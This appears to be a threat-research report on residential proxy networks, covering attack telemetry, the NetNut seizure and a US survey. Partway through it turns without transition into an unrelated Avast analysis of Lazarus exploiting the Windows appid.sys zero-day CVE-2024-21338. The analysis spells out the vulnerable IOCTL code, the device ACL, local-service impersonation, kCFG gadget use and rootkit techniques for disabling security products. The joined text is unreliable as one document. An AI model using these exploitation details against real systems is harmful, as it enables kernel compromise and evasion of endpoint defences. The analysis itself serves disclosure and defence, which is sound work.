Bright Data accounts for most of the phishing volume in absolute terms. We blocked almost 4.63 million phishing-classified attacks associated with the network, affecting 523,696 protected users. Roughly 68% of all users we protected from Bright Data-associated attacks encountered at least one phishing-classified event. Malvertising affected another 314,784 users, trojans 182,422 and e-shop scams 165,007.Honeygain and Tuxler show a similar concentration in phishing and other web-based threats. Phishing affected around 33,600 Honeygain users, close to two-thirds of its protected population, while Tuxler had phishing detections for more than 15,000 of its 19,184 protected users, around 80%.Hola and NetNut look very different. Hola's leading classifications were worms, trojans and file infectors, affecting approximately 54,000, 50,000 and 45,000 protected users respectively. With NetNut, droppers affected around 88,700 protected users and file infectors around 76,700, while phishing was comparatively limited. Microleaves/Shifter also showed a strongly file-oriented profile, led by file infectors, droppers and adware.That variation is one of the more useful findings in the data. 'Residential proxy abuse' is often discussed as a single category, but the traffic we block does not look homogeneous. Different provider ecosystems are associated with substantially different mixes of phishing, scams and malware.<h2>Where we blocked the attacks</h2>India recorded the largest volume of blocked attacks associated with residential proxy ecosystems in our country-level data, at about 1.76 million. Brazil followed at roughly 1.50 million, Vietnam at 1.32 million, the United States at 1.14 million and France at just under 990,000. The next group included the Philippines, Indonesia, Poland, Spain and Ukraine.The geography of malicious traffic does not simply follow the size of the residential proxy footprint. The United States and France stand out in particular. The US ranked only 10th in our September snapshot of active residential proxy installations, with around 56,000 users, but 4th in blocked malicious activity, with more than 1.1 million attacks routed through residential proxy nodes there. France shows a similar pattern, with a relatively modest installation footprint but almost one million blocked attacks.One explanation is that residential IP addresses in Western markets are especially useful to attackers trying to blend in with the consumers or services they are targeting. Traffic coming from a US residential IP, for example, may look less unusual to a US service than the same request coming from a distant geography or a data center.&nbsp;

CASE STUDY: NETNUTWhat remains after a network is disruptedNetNut deserves separate treatment because events in 2026 changed the status of the network itself. NetNut is a subsidiary of Alarum Technologies, a publicly traded company listed on Nasdaq and the Tel Aviv Stock Exchange.&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026075116/ea029701101ex99-1.htm">On July 2, Alarum disclosed</a> that the FBI had seized domains associated with NetNut.&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026075179/ea029704201ex99-1.htm">Additional domains were subsequently seized, services were disrupted</a>, and Alarum later&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026075170/ea029706002ex99-3.htm">announced a temporary pause</a> of traffic through the affected network services while it investigated the incident.<a href="https://cloud.google.com/blog/topics/threat-intelligence/google-continued-disruption-residential-proxy-networks">Google Threat Intelligence Group</a>, which took action in coordination with the FBI, Lumen and others, described NetNut as a residential proxy network also known as Popa. Google estimated it at least two million devices worldwide and said it observed 316 distinct threat clusters using suspected NetNut exit nodes during a single week in June, including cybercriminal and espionage groups. Google also said it had high confidence that many residential proxy brands were white-labeling the NetNut network.Legal and corporate consequences followed.&nbsp;<a href="https://www.sec.gov/Archives/edgar/data/1725332/000121390026089059/ea0301943-6k_alarum.htm">Alarum disclosed proceedings in Israel and a US class action complaint filed in New Jersey</a>. The company said it was reviewing the proceedings with its legal advisers and intended to defend itself vigorously. The claims in those proceedings are allegations, not established findings.Our telemetry adds a different piece to the story. In the first half of September, around two months after the law-enforcement action, we still observed software associated with NetNut on approximately 474,000 active Windows systems. At the same time, we did not observe corresponding NetNut proxy traffic from those installations. That is consistent with Alarum’s July announcement that traffic through the affected services had been paused.In other words, the software footprint remained, but the proxy activity did not. Domains can be seized quickly; software distributed across hundreds of thousands of computers does not disappear with them.

<h2>Confidence is much higher than understanding</h2>Against that telemetry, the results of our US survey become particularly revealing. In July 2026, we asked 1,000 adults what they knew about residential proxies and bandwidth sharing. At first glance, awareness did not look terrible: 13.9% said they understood what residential proxies were and how they worked, while another 13.2% said they had a basic idea. Combined, 27.1% believed they understood the technology to some degree.We then tested that understanding. Among the respondents who said they understood residential proxies, only 32.3% selected the correct explanation: that a residential proxy allows other people or companies to route internet traffic through a real user's home internet connection. Across the full sample, that leaves just 8.8% of US adults who both claimed some understanding and chose the correct definition.The terminology may be obscure, but the business model is more familiar. Some 17.2% of respondents said they currently use an app offering rewards, money, premium features or free access in exchange for sharing unused internet bandwidth, and another 12.2% said they had used one in the past. The survey was not designed to determine whether those specific apps were part of residential proxy networks, but the gap is striking: almost twice as many respondents said they currently use a bandwidth-sharing app as could correctly explain what a residential proxy does.

The mismatch becomes clearer when we describe the behavior rather than the industry term. Only 25.1% expected 'sharing unused bandwidth' to mean that other people or companies might access websites through their home IP address, while 26.0% understood that their device could appear to websites as the source of somebody else's internet activity. Almost a third, 31.6%, said they would not know what the phrase meant.When we asked how concerned people would be if an app allowed third parties to route internet traffic through their home connection, 76.5% said they would be very or somewhat concerned. Among that group, 55.5% worried about their home IP address being associated with suspicious or illegal activity, 51.5% about privacy, and 41.1% about accounts or services being blocked because suspicious traffic appeared to come from their IP address.Those fears line up closely with the reason residential proxies are useful in the first place. Traffic inherits the characteristics and reputation of an ordinary consumer connection. For legitimate customers, that can make large-scale data collection or geographic testing possible. For an attacker, the same property can make malicious activity harder to distinguish from normal residential traffic. Our telemetry does not tell us whether any particular survey respondent's connection was used that way, but the 20.8 million attacks we blocked show that malicious use of residential proxy infrastructure is far from theoretical.Asked whether they would install an app that allowed third parties to route traffic through their home connection in return for a small reward or free access, 53.4% said no. Another 26.7% said maybe, if the app was clear about what it did, and 20.0% said they definitely would. The survey covers US adults only, so these percentages should not be projected globally, but they underline a basic communication problem: 'share unused bandwidth' sounds very different from 'allow somebody else's traffic to leave the internet through your home IP address.'<h2>Consent, contracts and promises</h2>Residential proxy services have legitimate customers, and there are consumers who knowingly choose to exchange bandwidth for money, rewards or free services. The presence of residential proxy software on a machine, or even malicious traffic on a provider's network, does not by itself prove that a provider misled users or failed to enforce its policies.Consent is still more complicated than a checkbox. There may be a proxy customer, a proxy provider, an application developer embedding an SDK, the consumer whose device supplies the residential IP, and an internet service provider whose connection is ultimately being used. Each relationship can carry different promises and restrictions.Some residential ISP agreements, for example, explicitly restrict this kind of sharing. <a href="https://www.verizon.com/support/fios-customer-agreement/">Verizon's current Fios terms</a> state that subscribers may not resell, re-provision or rent the service, or allow third parties outside normal guest Wi-Fi use to use it, and tell customers they are responsible for opting out of connected-device features that would violate those terms. That does not mean residential proxy software automatically breaches an ISP contract; terms vary by provider, country and service. It does show that the consumer's click on an application consent screen may not be the only agreement that matters.The industry also makes broader promises around ethical sourcing, informed consent, customer vetting and abuse prevention. Those promises are increasingly becoming testable rather than purely rhetorical. In July, the <a href="https://www.amtso.org/news/amtso-testing-app-promises-guideline-paper-preprint-for-public-review/">Anti-Malware Testing Standards Organization, AMTSO, published a draft framework</a> for testing the explicit and implied promises made by applications and services. The draft has completed public review and is moving through final approval.Residential proxies are one of the <a href="https://www.amtso.org/wp-content/uploads/2026/07/AMTSO_App_Promises_Testing_Guidelines_Draft_For_Review.pdf">worked examples in the draft</a>. It specifically discusses testing claims around sourcing and consent, preventing abuse and misuse, protecting the consumer endpoint, and the fact that the paying proxy customer is not the same person as the consumer whose device or connection is being used. Gen participated in the working group that produced the draft.Our research is not a compliance test against that framework, and the presence of malicious activity is not evidence by itself that a provider has broken a promise. What our data does show is why those promises deserve scrutiny. When a business depends on millions of residential IP addresses and sells access to third parties, questions about where those endpoints came from, what users agreed to and what controls are in place are part of the security model, not just the marketing.<h2>Trust is no longer enough</h2>Residential proxies are not going away. If anything, the demand for them is likely to grow as AI companies, data businesses and automated agents need more ways to access the public web at scale without every request coming from a data center.That makes the questions around these networks more important, not less.A residential proxy provider can say that its endpoints are ethically sourced, that users have consented, that customers are vetted and that abuse is controlled. Those are reasonable promises to make. But once a network reaches millions of devices and carries traffic on this scale, they should also become promises that can be independently tested.Our data does not show that residential proxy networks are inherently malicious. It shows something more useful: legitimate infrastructure can still carry a substantial amount of malicious activity, the threat profile can vary enormously from one network to another, and the people supplying the residential connections often understand far less about the technology than the industry around them does.That creates responsibilities on both sides of the market.Customers buying residential access should care about where those IP addresses came from and what controls exist around the network they are using. Providers should be able to demonstrate how endpoints are sourced, what users agreed to, how abuse is detected and what happens when those controls fail. And consumers should be told, in language they can actually understand, what it means when an application asks them to "share unused bandwidth."The residential proxy industry has spent years making it easier to buy access to someone else's IP address.The next challenge is proving that everyone involved understands, and can trust, what happens after that access is sold.<h2>Methodology</h2><h3>Installation telemetry</h3>Gen Threat Labs developed telemetry to identify Windows software associated with selected commercial residential proxy providers. The installation data used in this research covers active systems observed between September 1 and September 15, 2026.The figures in the article are active-user populations derived from Gen telemetry. A computer had to be active and connected during the observation period to appear. User counts in the provider, software-path and country views used in the analysis are deduplicated within those views.The installation data represents the Gen Windows user population. It should not be interpreted as a census of every residential proxy endpoint worldwide or as a measure of commercial market share.Disclosure: Gen uses Bright Data proxy and browser infrastructure in some privacy and reputation services. Bright Data had no involvement in this research, and the findings are based on Gen Threat Labs telemetry and security detections.<h3>Malicious traffic</h3>The malicious-traffic analysis covers January through mid-September 2026 and focuses on attacks associated with the residential proxy providers included in the study.Protected users are unique users for whom Gen blocked at least one attack associated with a provider. Blocked attacks are deduplicated at the malicious-event level, so multiple detections triggered by the same event do not inflate the provider-level total.For the geographic view of malicious activity, country refers to the location of the residential proxy exit node.&nbsp;<h3>Appendix: Key telemetry data</h3>Installation telemetry in this appendix refers to Gen-protected Windows users on whose devices we observed software associated with residential proxy providers during the research period. These figures are not provider-reported user or installation counts.

A. Largest residential proxy provider footprints<table class="table"><tbody><tr><td>Provider</td><td>Active users</td></tr><tr><td>Bright Data</td><td>1.47M</td></tr><tr><td>Hola</td><td>664K</td></tr><tr><td>NetNut</td><td>474K</td></tr><tr><td>Honeygain</td><td>68K</td></tr><tr><td>Infatica</td><td>56K</td></tr><tr><td>SOAX</td><td>10K</td></tr><tr><td>IPRoyal</td><td>7.9K</td></tr><tr><td>Tuxler</td><td>6.3K</td></tr><tr><td>PacketStream</td><td>5.3K</td></tr><tr><td>TraffMonetizer</td><td>3.0K</td></tr></tbody></table>B. Countries with the largest combined residential proxy footprint<table class="table"><tbody><tr><td>Country</td><td>Active user observations</td></tr><tr><td>India</td><td>294K</td></tr><tr><td>Vietnam</td><td>177K</td></tr><tr><td>Ukraine</td><td>132K</td></tr><tr><td>Brazil</td><td>131K</td></tr><tr><td>Philippines</td><td>97K</td></tr><tr><td>Indonesia</td><td>89K</td></tr><tr><td>Poland</td><td>74K</td></tr><tr><td>Thailand</td><td>62K</td></tr><tr><td>Mexico</td><td>57K</td></tr><tr><td>United States</td><td>56K</td></tr></tbody></table>&nbsp;C. Leading install countries by provider<table class="table"><tbody><tr><td>Provider</td><td>No. 1</td><td>No. 2</td><td>No. 3</td></tr><tr><td>Bright Data</td><td>India</td><td>Vietnam</td><td>Brazil</td></tr><tr><td>Hola</td><td>India</td><td>Vietnam</td><td>Brazil</td></tr><tr><td>NetNut</td><td>Ukraine</td><td>India</td><td>Kazakhstan</td></tr><tr><td>Honeygain</td><td>Brazil</td><td>Philippines</td><td>India</td></tr><tr><td>Infatica</td><td>Ukraine</td><td>India</td><td>Philippines</td></tr><tr><td>SOAX</td><td>Uzbekistan</td><td>Kazakhstan</td><td>South Korea</td></tr><tr><td>IPRoyal</td><td>France</td><td>Netherlands</td><td>Belgium</td></tr><tr><td>Tuxler</td><td>Poland</td><td>Argentina</td><td>United Kingdom</td></tr><tr><td>PacketStream</td><td>India</td><td>Dominican Republic</td><td>Brazil</td></tr><tr><td>TraffMonetizer</td><td>Argentina</td><td>Philippines</td><td>Hong Kong</td></tr></tbody></table>&nbsp;D. Blocked attacks by provider ecosystem, top 5<table class="table"><tbody><tr><td>Provider ecosystem</td><td>Blocked attacks</td></tr><tr><td>Bright Data</td><td>17.3M</td></tr><tr><td>Honeygain</td><td>1.27M</td></tr><tr><td>NetNut</td><td>790K</td></tr><tr><td>Tuxler</td><td>572K</td></tr><tr><td>Hola</td><td>406K</td></tr></tbody></table>Absolute attack volume is influenced by network size and should not be interpreted as a ranking of provider risk.E. Most common threat classifications<table class="table"><tbody><tr><td>Threat category</td><td>Blocked attack observations</td></tr><tr><td>Phishing</td><td>5.15M</td></tr><tr><td>Malvertising</td><td>1.26M</td></tr><tr><td>Trojan</td><td>667K</td></tr><tr><td>Miscellaneous</td><td>408K</td></tr><tr><td>E-shop scam</td><td>388K</td></tr><tr><td>File infector</td><td>329K</td></tr><tr><td>Dropper</td><td>173K</td></tr><tr><td>Generic scam</td><td>113K</td></tr><tr><td>Worm</td><td>66K</td></tr><tr><td>Financial scam</td><td>47K</td></tr></tbody></table>&nbsp;F. Leading threat types by provider ecosystem<table class="table"><tbody><tr><td>Provider ecosystem</td><td>Leading type</td><td>Second</td><td>Third</td></tr><tr><td>Bright Data</td><td>Phishing</td><td>Malvertising</td><td>Trojan</td></tr><tr><td>Honeygain</td><td>Phishing</td><td>Malvertising</td><td>E-shop scam</td></tr><tr><td>NetNut</td><td>Dropper</td><td>File infector</td><td>Trojan</td></tr><tr><td>Tuxler</td><td>Phishing</td><td>Malvertising</td><td>Trojan</td></tr><tr><td>Hola</td><td>Worm</td><td>Trojan</td><td>File infector</td></tr><tr><td>Microleaves / Shifter</td><td>File infector</td><td>Dropper</td><td>Adware</td></tr><tr><td>IPRoyal</td><td>Phishing</td><td>E-shop scam</td><td>Malvertising</td></tr><tr><td>ByteLixir</td><td>Phishing</td><td>E-shop scam</td><td>Trojan</td></tr><tr><td>Infatica</td><td>Phishing</td><td>Spyware</td><td>File infector</td></tr></tbody></table>Types are ordered by the number of protected users associated with each classification.&nbsp;G. Countries with the largest volume of blocked attacks<table class="table"><tbody><tr><td>Country</td><td>Blocked attacks</td></tr><tr><td>India</td><td>1.76M</td></tr><tr><td>Brazil</td><td>1.50M</td></tr><tr><td>Vietnam</td><td>1.32M</td></tr><tr><td>United States</td><td>1.14M</td></tr><tr><td>France</td><td>988K</td></tr><tr><td>Philippines</td><td>774K</td></tr><tr><td>Indonesia</td><td>691K</td></tr><tr><td>Poland</td><td>519K</td></tr><tr><td>Spain</td><td>518K</td></tr><tr><td>Ukraine</td><td>481K</td></tr></tbody></table>&nbsp;

Inside the hidden supply chain of residential proxies

Your IP, Their Traffic 

<h2>Key Points</h2><ul><li>Avast discovered an in-the-wild admin-to-kernel exploit for a previously unknown zero-day vulnerability in the appid.sys AppLocker driver.&nbsp;</li><li>Thanks to Avast’s prompt report, Microsoft addressed this vulnerability as <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21338">CVE-2024-21338</a> in the February Patch Tuesday update.&nbsp;</li><li>The exploitation activity was orchestrated by the notorious Lazarus Group, with the end goal of establishing a kernel read/write primitive.&nbsp;</li><li>This primitive enabled Lazarus to perform direct kernel object manipulation in an updated version of their data-only FudModule rootkit, a previous version of which was analyzed by <a href="https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Lazarus-and-BYOVD-evil-to-the-Windows-core.pdf">ESET</a> and <a href="https://download.ahnlab.com/global/brochure/Analysis-Report-on-Lazarus-Groups-Rootkit-Attack-Using-BYOVD.pdf">AhnLab</a>.&nbsp;</li><li>After completely reverse engineering this updated rootkit variant, Avast identified substantial advancements in terms of both functionality and stealth, with four new – and three updated – rootkit techniques.&nbsp;</li><li>In a key advancement, the rootkit now employs a new handle table entry manipulation technique in an attempt to suspend PPL (Protected Process Light) protected processes associated with Microsoft Defender, CrowdStrike Falcon, and HitmanPro.&nbsp;</li><li>Another significant step up is exploiting the zero-day vulnerability, where Lazarus previously utilized much noisier BYOVD (Bring Your Own Vulnerable Driver) techniques to cross the admin-to-kernel boundary.&nbsp;</li><li>Avast’s investigation also recovered large parts of the infection chain leading up to the deployment of the rootkit, resulting in the discovery of a new RAT (Remote Access Trojan) attributed to Lazarus.&nbsp;</li><li>Technical details concerning the RAT and the initial infection vector will be published in a follow-up blog post, scheduled for release along with our <a href="https://www.blackhat.com/asia-24/briefings/schedule/#from-byovd-to-a--day-unveiling-advanced-exploits-in-cyber-recruiting-scams-37786">Black Hat Asia 2024 briefing</a>.&nbsp;</li></ul><h2>Introduction&nbsp;</h2>When it comes to Windows security, there is a thin line between admin and kernel. Microsoft’s <a href="https://www.microsoft.com/en-us/msrc/windows-security-servicing-criteria">security servicing criteria</a> have long asserted that “[a]dministrator-to-kernel is not a security boundary”, meaning that Microsoft reserves the right to patch admin-to-kernel vulnerabilities at its own discretion. As a result, the Windows security model does not guarantee that it will prevent an admin-level attacker from directly accessing the kernel. This isn’t just a theoretical concern. In practice, attackers with admin privileges <a href="https://www.rapid7.com/blog/post/2021/12/13/driver-based-attacks-past-and-present/#:~:text=Known%20usage%20in%20the%20wild">frequently</a> achieve kernel-level access by exploiting known vulnerable drivers, in a technique called <a href="https://www.welivesecurity.com/2022/01/11/signed-kernel-drivers-unguarded-gateway-windows-core/">BYOVD</a> (Bring Your Own Vulnerable Driver).&nbsp;Microsoft hasn’t given up on securing the admin-to-kernel boundary though. Quite the opposite, it has made a great deal of progress in making this boundary harder to cross. Defense-in-depth protections, such as <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/install/driver-signing">DSE</a> (Driver Signature Enforcement) or <a href="https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/oem-hvci-enablement">HVCI</a> (Hypervisor-Protected Code Integrity), have made it increasingly difficult for attackers to execute custom code in the kernel, forcing most to resort to data-only attacks (where they achieve their malicious objectives solely by reading and writing kernel memory). Other defenses, such as <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/microsoft-recommended-driver-block-rules">driver blocklisting,</a> are pushing attackers to move to exploiting less-known vulnerable drivers, resulting in an increase in attack complexity. Although these defenses haven’t yet reached the point where we can officially call admin-to-kernel a security boundary (BYOVD attacks are still feasible, so calling it one would just mislead users into a false sense of security), they clearly represent steps in the right direction.&nbsp;From the attacker’s perspective, crossing from admin to kernel opens a whole new realm of <a href="https://github.com/wavestone-cdt/EDRSandblast">possibilities</a>. With kernel-level access, an attacker might disrupt security software, conceal indicators of infection (including files, network activity, processes, etc.), disable kernel-mode telemetry, turn off mitigations, and more. Additionally, as the security of <a href="https://learn.microsoft.com/en-us/windows/win32/services/protecting-anti-malware-services-">PPL</a> (Protected Process Light) relies on the admin-to-kernel boundary, our hypothetical attacker also gains the ability to tamper with protected processes or add protection to an arbitrary process. This can be especially powerful if lsass is <a href="https://learn.microsoft.com/en-us/windows-server/security/credentials-protection-and-management/configuring-additional-lsa-protection">protected with RunAsPPL</a> as bypassing PPL could enable the attacker to dump otherwise unreachable credentials.&nbsp;&nbsp;For more specific examples of what an attacker might want to achieve with kernel-level access, keep reading this blog – in the <a href="https://decoded.avast.io/janvojtesek/lazarus-and-the-fudmodule-rootkit-beyond-byovd-with-an-admin-to-kernel-zero-day/#techniques">latter half</a>, we will dive into all the techniques implemented in the FudModule rootkit.&nbsp;<h5>Living Off the Land: Vulnerable Drivers Edition&nbsp;</h5>With a seemingly growing number of attackers seeking to abuse some of the previously mentioned kernel capabilities, defenders have no choice but to hunt heavily for driver exploits. Consequently, attackers wishing to target well-defended networks must also step up their game if they wish to avoid detection. We can broadly break down admin-to-kernel driver exploits into three categories, each representing a trade-off between attack difficulty and stealth.&nbsp;<h6>N-Day BYOVD Exploits&nbsp;</h6>In the simplest case, an attacker can leverage BYOVD to exploit a publicly known n-day vulnerability. This is very easy to pull off, as there are plenty of public proof-of-concept exploits for various vulnerabilities. However, it’s also relatively straightforward to detect since the attacker must first drop a known vulnerable driver to the file system and then load it into the kernel, resulting in two great detection opportunities. What’s more, some systems may have Microsoft’s <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/design/microsoft-recommended-driver-block-rules#microsoft-vulnerable-driver-blocklist">vulnerable driver blocklist</a> enabled, which would block some of the most common vulnerable drivers from loading. <a href="https://www.virusbulletin.com/uploads/pdf/conference/vb2022/papers/VB2022-Lazarus-and-BYOVD-evil-to-the-Windows-core.pdf">Previous</a> <a href="https://download.ahnlab.com/global/brochure/Analysis-Report-on-Lazarus-Groups-Rootkit-Attack-Using-BYOVD.pdf">versions</a> of the FudModule rootkit could be placed in this category, initially exploiting a known vulnerability in <a href="https://www.virustotal.com/gui/file/0296e2ce999e67c76352613a718e11516fe1b0efc3ffdb8918fc999dd76a73a5/detection">dbutil_2_3.sys</a> and then moving on to targeting <a href="https://www.virustotal.com/gui/file/175eed7a4c6de9c3156c7ae16ae85c554959ec350f1c8aaa6dfe8c7e99de3347">ene.sys</a> in later versions.&nbsp;<h6>Zero-Day BYOVD Exploits&nbsp;</h6>In more sophisticated scenarios, an attacker would use BYOVD to exploit a zero-day vulnerability within a signed third-party driver. Naturally, this requires the attacker to first discover such a zero-day vulnerability, which might initially seem like a daunting task. However, note that any exploitable vulnerability in any signed driver will do, and there is unfortunately no shortage of low-quality third-party drivers. Therefore, the difficulty level of discovering such a vulnerability might not be as high as it would initially seem. It might suffice to scan a collection of drivers for known vulnerability patterns, as demonstrated by Carbon Black researchers who recently used bulk static analysis to <a href="https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html">uncover</a> 34 unique vulnerabilities across more than 200 signed drivers. Such zero-day BYOVD attacks are notably stealthier than n-day attacks since defenders can no longer rely on hashes of known vulnerable drivers for detection. However, some detection opportunities still remain, as loading a random driver represents a suspicious event that might warrant deeper investigation. For an example of an attack belonging to this category, consider the spyware vendor Candiru, which we <a href="https://decoded.avast.io/janvojtesek/the-return-of-candiru-zero-days-in-the-middle-east/">caught</a> exploiting a zero-day vulnerability in <a href="https://www.virustotal.com/gui/file/6a4875ae86131a594019dec4abd46ac6ba47e57a88287b814d07d929858fe3e5">hw.sys</a> for the final privilege escalation stage of their browser exploit chain.&nbsp;<h6>Beyond BYOVD&nbsp;</h6>Finally, the holy grail of admin-to-kernel is going beyond BYOVD by exploiting a zero-day in a driver that’s known to be already installed on the target machine. To make the attack as universal as possible, the most obvious target here would be a built-in Windows driver that’s already a part of the operating system.&nbsp;&nbsp;Discovering an exploitable vulnerability in such a driver is significantly more challenging than in the previous BYOVD scenarios for two reasons. First, the number of possible target drivers is vastly smaller, resulting in a much-reduced attack surface. Second, the code quality of built-in drivers is arguably higher than that of random third-party drivers, making vulnerabilities much more difficult to find. It’s also worth noting that – while patching tends to be ineffective at stopping BYOVD attacks (even if a vendor patches their driver, the attacker can still abuse the older, unpatched version of the driver) – patching a built-in driver will make the vulnerability no longer usable for this kind of zero-day attacks.&nbsp;If an attacker, despite all of these hurdles, manages to exploit a zero-day vulnerability in a built-in driver, they will be rewarded with a level of stealth that cannot be matched by standard BYOVD exploitation. By exploiting such a vulnerability, the attacker is in a sense <a href="https://www.crowdstrike.com/cybersecurity-101/living-off-the-land-attacks-lotl/">living off the land</a> with no need to bring, drop, or load any custom drivers, making it possible for a kernel attack to be truly fileless. This not only evades most detection mechanisms but also enables the attack on systems where driver allowlisting is in place (which might seem a bit ironic, given that CVE-2024-21338 concerns an AppLocker driver).&nbsp;&nbsp;While we can only speculate on Lazarus’ motivation for choosing this third approach for crossing the admin-to-kernel boundary, we believe that stealth was their primary motivation. Given their level of notoriety, they would have to swap vulnerabilities any time someone burned their currently used BYOVD technique. Perhaps they also reasoned that, by going beyond BYOVD, they could minimize the need for swapping by staying undetected for longer.&nbsp;<h2>CVE-2024-21338&nbsp;</h2>As far as zero-days go, CVE-2024-21338 is relatively straightforward to both understand and exploit. The vulnerability resides within the IOCTL (Input and Output Control) dispatcher in <code>appid.sys</code>, which is the central driver behind <a href="https://learn.microsoft.com/en-us/windows/security/application-security/application-control/windows-defender-application-control/applocker/applocker-overview">AppLocker</a>, the application whitelisting <a href="https://www.tiraniddo.dev/2019/11/the-internals-of-applocker-part-1.html">technology</a> built into Windows. The vulnerable control code <code>0x22A018</code> is designed to compute a smart hash of an executable image file. This IOCTL offers some flexibility by allowing the caller to specify how the driver should query and read the hashed file. The problem is, this flexibility is achieved by expecting two kernel function pointers referenced from the IOCTL’s input buffer: one containing a callback pointer to query the hashed file’s size and the other a callback pointer to read the data to be hashed.&nbsp;&nbsp;Since user mode would typically not be handling kernel function pointers, this design suggests the IOCTL may have been initially designed to be invoked from the kernel. Indeed, while we did not find any legitimate user-mode callers, the IOCTL does get invoked by other AppLocker drivers. For instance, there is a <code>ZwDeviceIoControlFile</code> call in <code>applockerfltr.sys</code>, passing <code>SmpQueryFile</code> and <code>SmpReadFile</code> for the callback pointers. Aside from that, <code>appid.sys</code> itself also uses this functionality, passing <code>AipQueryFileHandle</code> and <code>AipReadFileHandle</code> (which are basically just wrappers over <code>ZwQueryInformationFile</code> and <code>ZwReadFile</code>, respectively).&nbsp;Despite this design, the vulnerable IOCTL remained accessible from user space, meaning that a user-space attacker could abuse it to essentially trick the kernel into calling an arbitrary pointer. What’s more, the attacker also partially controlled the data referenced by the first argument passed to the invoked callback function. This presented an ideal exploitation scenario, allowing the attacker to call an arbitrary kernel function with a high degree of control over the first argument.&nbsp;

A WinDbg session with the triggered vulnerability, traced to the arbitrary callback invocation. Note that the attacker controls both the function pointer to be called (<code>0xdeadbeefdeadbeef</code> in this session) and the data pointed to by the first argument (<code>0xbaadf00dbaadf00d</code>).&nbsp;If exploitation sounds trivial, note that there are some constraints on what pointers this vulnerability allows an attacker to call. Of course, in the presence of <a href="https://j00ru.vexillium.org/2011/06/smep-what-is-it-and-how-to-beat-it-on-windows/">SMEP</a> (Supervisor Mode Execution Prevention), the attacker cannot just supply a user-mode shellcode pointer. What’s more, the callback invocation is an indirect call that may be safeguarded by <a href="https://learn.microsoft.com/en-us/windows/win32/secbp/control-flow-guard">kCFG</a> (Kernel Control Flow Guard), requiring that the supplied kernel pointers represent valid kCFG call targets. In practice, this does not prevent exploitation, as the attacker can just find some kCFG-compliant gadget function that would turn this into another primitive, such as a (limited) read/write. There are also a few other constraints on the IOCTL input buffer that must be solved in order to reach the vulnerable callback invocation. However, these too are relatively straightforward to satisfy, as the attacker only needs to fake some kernel objects and supply the right values so that the IOCTL handler passes all the necessary checks while at the same time not crashing the kernel.&nbsp;The vulnerable IOCTL is exposed through a device object named <code>\Device\AppId</code>. <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/kernel/defining-i-o-control-codes">Breaking down</a> the <code>0x22A018</code> control code and extracting the <code>RequiredAccess</code> field reveals that a handle with write access is required to call it. Inspecting the device’s ACL (Access Control List; see the screenshot below), there are entries for <code>local service</code>, <code>administrators</code>, and <code>appidsvc</code>. While the entry for <code>administrators</code> does not grant write access, the entry for <code>local service</code> does. Therefore, to describe CVE-2024-21338 more accurately, we should label it local service-to-kernel rather than admin-to-kernel. It’s also noteworthy that <code>appid.sys</code> might create two additional device objects, namely <code>\Device\AppidEDPPlugin</code> and <code>\Device\SrpDevice</code>. Although these come with more permissive ACLs, the vulnerable IOCTL handler is unreachable through them, rendering them irrelevant for exploitation purposes.&nbsp;

As the <a href="https://learn.microsoft.com/en-us/windows/win32/services/localservice-account">local service</a> account has reduced privileges compared to administrators, this also gives the vulnerability a somewhat higher impact than standard admin-to-kernel. This might be the reason Microsoft characterized the CVE as <code>Privileges Required: Low</code>, taking into account that <code>local service</code> processes do not always necessarily have to run at higher integrity levels. However, for the purposes of this blog, we still chose to refer to CVE-2024-21338 mainly as an admin-to-kernel vulnerability because we find it better reflects how it was used in the wild – Lazarus was already running with elevated privileges and then impersonated the local service account just prior to calling the IOCTL.&nbsp;The vulnerability was introduced in Win10 1703 (RS2/15063) when the <code>0x22A018</code> IOCTL handler was first implemented. Older builds are not affected as they lack support for the vulnerable IOCTL. Interestingly, the Lazarus exploit bails out if it encounters a build older than Win10 1809 (RS5/17763), completely disregarding three perfectly vulnerable Windows versions. As for the later versions, the vulnerability extended all the way up to the most recent builds, including Win11 23H2. There have been some slight changes to the IOCTL, including an extra argument expected in the input buffer, but nothing that would prevent exploitation.&nbsp;&nbsp;We developed a custom PoC (Proof of Concept) exploit and submitted it in August 2023 as part of a vulnerability report to Microsoft, leading to an advisory for <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21338">CVE-2024-21338</a> in the February Patch Tuesday update. The update addressed the vulnerability by adding an <code>ExGetPreviousMode</code> check to the IOCTL handler (see the patch below). This aims to prevent user-mode initiated IOCTLs from triggering the arbitrary callbacks.&nbsp;

Though the vulnerability may only barely meet Microsoft’s security servicing criteria, we believe patching was the right choice and would like to thank Microsoft for eventually addressing this issue. Patching will undoubtedly disrupt Lazarus’ offensive operations, forcing them to either find a new admin-to-kernel zero-day or revert to using BYOVD techniques. While discovering an admin-to-kernel zero-day may not be as challenging as discovering a zero-day in a more attractive attack surface (such as standard user-to-kernel, or even sandbox-to-kernel), we believe that finding one would still require Lazarus to invest significant resources, potentially diverting their focus from attacking some other unfortunate targets.&nbsp;<h4>Exploitation&nbsp;</h4>The Lazarus exploit begins with an initialization stage, which performs a one-time setup for both the exploit and the rootkit (both have been compiled into the same module). This initialization starts by dynamically resolving all necessary Windows API functions, followed by a low-effort anti-debug check on <code>PEB.BeingDebugged</code>. Then, the exploit inspects the build number to see if it’s running on a supported Windows version. If so, it loads hardcoded constants tailored to the current build. Interestingly, the choice of constants sometimes comes down to the update build revision (UBR), showcasing a high degree of dedication towards ensuring that the code runs cleanly across a wide range of target machines.&nbsp;&nbsp;

